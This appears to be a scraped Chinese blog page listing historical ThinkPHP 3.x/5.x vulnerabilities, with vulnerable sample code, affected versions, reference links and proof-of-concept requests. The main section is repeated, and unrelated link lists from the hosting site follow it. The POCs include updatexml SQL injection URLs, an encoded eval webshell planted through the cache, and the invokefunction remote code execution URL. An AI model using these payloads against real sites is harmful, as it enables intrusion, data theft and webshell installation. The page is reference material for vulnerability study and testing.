thinkphp历史漏洞
https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 历史漏洞
路由控制類RCE
/think/App.php
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
變量覆蓋RCE
/think/Request.php
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
SQL:
1.
漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
2.
5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
3.
ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)。ThinkPHP5全版本 。
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success
';
4.。漏洞影响版本: ThinkPHP=5.0.10 。
漏洞环境
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);
5.
漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
6.
漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
文件包含
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。
public function index()
{
$this->assign(request()->get());
return $this->fetch();
一、3.x
使用方法
cd /var/www/tp3
ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
| 标题 | ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell |
|---|---|
| 时间 | 2017-08-09 |
| 版本 | <= 3.2.3 |
| 文章链接 | https://xz.aliyun.com/t/99 |
ThinkPHP3.2.3_最新版update注入漏洞
| 标题 | Thinkphp3.2.3最新版update注入漏洞 |
|---|---|
| 时间 | 2018-04-16 |
| 版本 | <= 3.2.3 |
| 文章链接 | https://www.anquanke.com/post/id/104847 |
ThinkPHP3.2.X_find_select_delete注入
| 标题 | thinkphp3.2 find_select_delete注入 |
|---|---|
| 时间 | 2018-08-23 |
| 版本 | <= 3.2.3 |
| 文章链接 | https://xz.aliyun.com/t/2631 https://xz.aliyun.com/t/2629 |
ThinkPHP3.X_order_by注入漏洞
| 标题 | ThinkPHP 3.X/5.X order by注入漏洞 |
|---|---|
| 时间 | 2018-08-29 |
| 版本 | <= 3.2.3 |
| 文章链接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
二、5.x
使用方法
cd /var/www/tp5
ThinkPHP5_SQL注入漏洞&&敏感信息泄露
| 标题 | ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 |
|---|---|
| 时间 | 2017-07-03 |
| 版本 | < 5.0.9 |
| 文章链接 | https://xz.aliyun.com/t/125 https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html |
测试方法
git checkout 02f8e8a测试代码
public function testsql()
{
$ids = input('ids/a');
$result = db('user')->where('id', 'in', $ids)->select();
var_dump($result);
}POC
testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231结果
ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell
| 标题 | ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell |
|---|---|
| 时间 | 2017-08-09 |
| 版本 | < 5.0.11 |
| 文章链接 | https://xz.aliyun.com/t/99 |
测试方法
git checkout 094dde5测试代码
public function add()
{
$user = input('post.');
$m=db('user')->where(['id'=> 1])->insert($user);
} public function cache()
{
$m = db('user')->select();
Cache::set('name',$m,3600);
}POC
post data:
username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
注:%2F%2F%0D%0A = //+回车结果
其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而
md5('name') = b068931cc450442b63f5b3d276ea4297
ThinkPHP框架5.0.X_sql注入漏洞分析
| 标题 | ThinkPHP框架 5.0.x sql注入漏洞分析 |
|---|---|
| 时间 | 2018-04-09 |
| 版本 | < 5.0.16 |
| 文章链接 | https://xz.aliyun.com/t/2257 |
测试方法
git checkout 7c13757测试代码
public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}POC
testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1结果
ThinkPHP5.X_order_by注入漏洞
| 标题 | ThinkPHP 3.X/5.X order by注入漏洞 |
|---|---|
| 时间 | 2018-08-23 |
| 版本 | <= 5.1.22 |
| 文章链接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
测试方法
git checkout 35e9878测试代码
public function testsql()
{
$order = input('get.order');
$m = db('user')->order($order)->find();
var_dump($m);
}POC
testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1结果
ThinkPHP5.X_远程代码执行
| 标题 | ThinkPHP5.X 远程代码执行 |
|---|---|
| 时间 | 2018-12-10 |
| 版本 | 5.0.5-5.0.22 5.1.0-5.1.30 |
| 文章链接 | https://xz.aliyun.com/t/3570 https://paper.seebug.org/760/ https://paper.seebug.org/770 |
测试方法
git checkout 4fefa5e测试代码
public function index()
{
//...无需实际代码
}POC
index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1结果
一、3.x
使用方法
cd /var/www/tp3
ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
| 标题 | ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell |
|---|---|
| 时间 | 2017-08-09 |
| 版本 | <= 3.2.3 |
| 文章链接 | https://xz.aliyun.com/t/99 |
ThinkPHP3.2.3_最新版update注入漏洞
| 标题 | Thinkphp3.2.3最新版update注入漏洞 |
|---|---|
| 时间 | 2018-04-16 |
| 版本 | <= 3.2.3 |
| 文章链接 | https://www.anquanke.com/post/id/104847 |
ThinkPHP3.2.X_find_select_delete注入
| 标题 | thinkphp3.2 find_select_delete注入 |
|---|---|
| 时间 | 2018-08-23 |
| 版本 | <= 3.2.3 |
| 文章链接 | https://xz.aliyun.com/t/2631 https://xz.aliyun.com/t/2629 |
ThinkPHP3.X_order_by注入漏洞
| 标题 | ThinkPHP 3.X/5.X order by注入漏洞 |
|---|---|
| 时间 | 2018-08-29 |
| 版本 | <= 3.2.3 |
| 文章链接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
二、5.x
使用方法
cd /var/www/tp5
ThinkPHP5_SQL注入漏洞&&敏感信息泄露
| 标题 | ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 |
|---|---|
| 时间 | 2017-07-03 |
| 版本 | < 5.0.9 |
| 文章链接 | https://xz.aliyun.com/t/125 https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html |
测试方法
git checkout 02f8e8a测试代码
public function testsql()
{
$ids = input('ids/a');
$result = db('user')->where('id', 'in', $ids)->select();
var_dump($result);
}POC
testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231结果
ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell
| 标题 | ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell |
|---|---|
| 时间 | 2017-08-09 |
| 版本 | < 5.0.11 |
| 文章链接 | https://xz.aliyun.com/t/99 |
测试方法
git checkout 094dde5测试代码
public function add()
{
$user = input('post.');
$m=db('user')->where(['id'=> 1])->insert($user);
} public function cache()
{
$m = db('user')->select();
Cache::set('name',$m,3600);
}POC
post data:
username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
注:%2F%2F%0D%0A = //+回车结果
其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而
md5('name') = b068931cc450442b63f5b3d276ea4297
ThinkPHP框架5.0.X_sql注入漏洞分析
| 标题 | ThinkPHP框架 5.0.x sql注入漏洞分析 |
|---|---|
| 时间 | 2018-04-09 |
| 版本 | < 5.0.16 |
| 文章链接 | https://xz.aliyun.com/t/2257 |
测试方法
git checkout 7c13757测试代码
public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}POC
testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1结果
ThinkPHP5.X_order_by注入漏洞
| 标题 | ThinkPHP 3.X/5.X order by注入漏洞 |
|---|---|
| 时间 | 2018-08-23 |
| 版本 | <= 5.1.22 |
| 文章链接 | https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w |
测试方法
git checkout 35e9878测试代码
public function testsql()
{
$order = input('get.order');
$m = db('user')->order($order)->find();
var_dump($m);
}POC
testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1结果
ThinkPHP5.X_远程代码执行
| 标题 | ThinkPHP5.X 远程代码执行 |
|---|---|
| 时间 | 2018-12-10 |
| 版本 | 5.0.5-5.0.22 5.1.0-5.1.30 |
| 文章链接 | https://xz.aliyun.com/t/3570 https://paper.seebug.org/760/ https://paper.seebug.org/770 |
测试方法
git checkout 4fefa5e测试代码
public function index()
{
//...无需实际代码
}POC
index?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1结果
thinkphp历史漏洞的更多相关文章
- 记录 ThinkPHP 5.* 漏洞修复后的情况
记录 ThinkPHP 5.* 漏洞修复后的情况 ThinkPHP 官方 2018-12-09 下午收到漏洞报告. 2018-12-09 晚上看到 Git 已经更新了,修复了漏洞. 2018-12-1 ...
- 整理了一下 ThinkPHP 历史
整理了一下 ThinkPHP 历史 ThinkPHP 一款国内最流行的 PHP 开源框架.
- THINKPHP网站漏洞怎么修复解决
THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查 ...
- 整理了一下 ThinkPHP 历史 (2019-07-01)
整理了一下 ThinkPHP 历史 ThinkPHP 一款国内最流行的 PHP 开源框架. 版本 发布日期 最后更新日期 总天数 ThinkPHP(FCS) 0.6 2006-01-15 2006-0 ...
- Spring 历史漏洞复现
1.Spring Security OAuth2.0 (CVE-2016-4977) 这个洞是由于Spring Security OAuth2.0的功能,在登录成功之后由于response_type不 ...
- Solr-rce历史漏洞复现
最近Solr又出了一个RCE漏洞,复现了一下 # coding: utf-8 import requestsimport argparsefrom urllib import parse if __n ...
- phpMyAdmin历史漏洞复现
简介 phpMyAdmin是一个非常受欢迎的基于web的MySQL数据库管理工具.它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等 复现三个古老漏洞 phpMyAd ...
- PHP代码审计基础-高级篇
高级篇主要讲 1. 熟知各个开源框架历史版本漏洞. 2. 业务逻辑漏洞 3. 多线程引发的漏洞 4. 事务锁引发的漏洞 在高级篇审计中有很多漏洞正常情况下是不存在的只有在特殊情况下才有 PHP常用框架 ...
- ThinkPHP 3.1、3.2一个通用的漏洞分析
Author:m3d1t10n 前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的.可惜还没有公开,于是就自己回来分析了一下. 0x00官方补丁(DB.class ...
随机推荐
- matplotlib TransformWrapper
2020-04-09 23:26:53 --Edit by yangray TransformWrapper 是Transform的子类, 支持在运行中替掉一个变换(可以是不同类型, 但维度必须相同) ...
- Java编程最差实践常见问题详细说明(1)转
Java编程最差实践常见问题详细说明(1)转 原文地址:http://www.odi.ch/prog/design/newbies.php 每天在写Java程序, 其实里面有一些细节大家可能没 ...
- AJ学IOS(53)多线程网络之NSOperation简介
AJ分享,必须精品 一:简单介绍 1:NSOperation的作⽤使用步骤: 配合使用NSOperation和NSOperationQueue也能实现多线程编程. NSOperation和NSOper ...
- Cilium使用 (Cilium 3)
使用k3s测试Cilium,安装步骤可以参见官方文档 Cilium安装使用 docker安装 使用如下命令安装最新版本的docker yum install -y yum-utils \ device ...
- k3s-初体验
k3s安装步骤 1.准备工作 关闭swap交换分区 swapoff -a 关闭防火墙 systemctl stop firewalld.service 2.下载启动k3s包 https://githu ...
- D - Complete Tripartite
三分图染色 链接:https://codeforces.com/contest/1228/problem/D 三分图染色步骤:First 首先找一个点1作为集合A中的点,再找到与1相连的一个点设为2, ...
- 5. git 过滤,让某文件夹里无法提交新添加的文件
. gitignore 向此文件里添加文件路径就行了.如( web/core/ ) 此时git status将看不到添加的文件或文件夹了
- Laravel 5.7 RCE (CVE-2019-9081)
Laravel 代码审计 环境搭建 Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242 Composer 下 ...
- Mysql链接查询
连接查询--交叉连接将两张表的数据与另外一张表彼此交叉原理:1. 从第一张表一次取出每一条记录2. 取出每一条记录之后,与另外一张表的全部记录挨个匹配3. 没有任何匹配条件,所有的结果都会进行保留4. ...
- 挑战全网最幽默的Vuex系列教程:第六讲 Vuex的管理员Module(实战篇)
写在前面 这一讲是 Vuex 基础篇的最后一讲,也是最为复杂的一讲.如果按照官方来的话,对于新手可能有点难以接受,所以想了下,决定干脆多花点时间,用一个简单的例子来讲解,顺便也复习一下之前的知识点. ...






